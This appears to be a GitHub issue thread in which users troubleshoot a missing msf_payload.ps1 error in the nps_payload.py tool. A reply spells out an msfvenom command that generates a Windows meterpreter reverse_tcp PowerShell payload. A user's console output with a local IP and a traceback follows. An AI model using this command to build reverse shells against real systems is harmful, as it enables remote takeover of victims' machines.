Open RizwanNawaz01 opened 5 years ago
yes my problem !!!!!!
for me problem
From the error, it looks like the msf_payload.ps1 is not getting created. Can you run 'msfvenom' from the console? This is required to generate the payload.
no
Install Metasploit. Make sure msfvenom is in your path definition.
metasploit installed on kali linux
Before running this program you can use msfvenom to produce msf_payload.ps1 The command is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx (your ip)LPORT=443 -f ps1 > msf_payload.ps1
python nps_payload.py
(
) (
) ( /( )\ )(()( ( /( (()/( )\ ) /(/( )\ /(/( )()|()/( )\ )()) (() (/((()(() (()(() )()) |(()(() | | | ' )) ' |-< | ' ) ` | || | / \/ ` / ` | ||||| .///__| ./_,|_, |_/\,_,| || |____|_| |__/Select a task: 1
Payload Selection:
Select payload: 3 Enter Your Local IP Address (None): 192.168.137.145 Enter the listener port (443): 8080 [] Generating PSH Payload... [] Generating MSF Resource Script... Traceback (most recent call last): File "nps_payload.py", line 417, in
main()
File "nps_payload.py", line 410, in main
options[task]()
File "nps_payload.py", line 108, in generate_msbuild_nps_msf_payload
encode_pshpayload("msf_payload.ps1")
File "nps_payload.py", line 68, in encode_pshpayload
psh_file = open(payload_file, "r")
IOError: [Errno 2] No such file or directory: 'msf_payload.ps1'